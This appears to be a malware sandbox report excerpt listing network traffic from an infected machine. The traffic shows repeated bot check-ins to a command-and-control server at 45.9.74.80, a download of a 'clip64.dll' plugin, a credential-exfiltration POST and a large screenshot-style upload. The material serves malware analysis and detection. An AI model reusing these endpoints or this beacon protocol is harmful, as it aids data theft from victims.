Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: GET /0bjdn2Z/Plugins/clip64.dll HTTP/1.1Host: 45.9.74.80
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 63 72 65 64 3d Data Ascii: id=853321935212&cred=
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTY3NzA=Host: 45.9.74.80Content-Length: 96922Cache-Control: no-cache
